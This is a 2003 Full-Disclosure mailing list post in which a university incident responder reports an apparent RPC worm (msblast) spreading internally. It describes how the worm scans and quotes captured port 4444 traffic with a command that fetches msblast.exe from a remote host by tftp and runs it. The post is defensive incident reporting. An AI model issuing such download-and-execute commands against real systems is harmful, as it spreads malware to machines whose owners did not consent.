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rpc worm
From: Jordan Wiens <jwiens () nersp nerdc ufl edu>
Date: Mon, 11 Aug 2003 16:22:34 -0400 (EDT)
We're seeing what looks like an rpc worm spreading internally (gotta love dialup users), and I'm trying to figure out if this is something new, or just something old that we finally are getting. I'm not entirely sure it's a worm, it almost appears to be an auto-rooter with quick spreading ability (fine line between that and a worm, I suppose). Has anybody else seen something with these characteristics: Host scans local subnet first, looking for vulnerable machines and opening up port 4444 on the remote host, and running the following: -------------port 4444 traffic---------- tftp -i aaa.bbb.ccc.ddd GET msblast.exe start msblast.exe msblast.exe HTTP/1.0 403 Forbidden Server: AdSubtract 2.50 Content-Type: text/html;charset=utf-8 Content-Length: 349 <html> <head> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Content-Type" content="text/html;charset=utf-8"> <title>Forbidden</title> </head> <body> <h1>Forbidden</h1> <h2>Requests from host hostname.of.attacking.host/aaa.bbb.ccc.ddd not allowed; only requests from localhost (127.0.0.1) are allowed. </h2> </body></html> -------------port 4444 traffic---------- The exploit appears to only try one attack against the hosts, so I'm guessing it's cutting its losses and trying only one exploit offset, unless there's a magic offset that works on both 2k and XP. Also, just got word that it's apparently being reported on nanog as well. Batten down the hatches... -- Jordan Wiens, CISSP UF Network Incident Response Team (352)392-2061 _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
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